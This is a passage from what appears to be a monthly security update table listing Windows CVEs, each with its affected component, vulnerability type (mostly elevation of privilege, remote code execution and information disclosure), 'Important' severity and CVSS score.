Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager 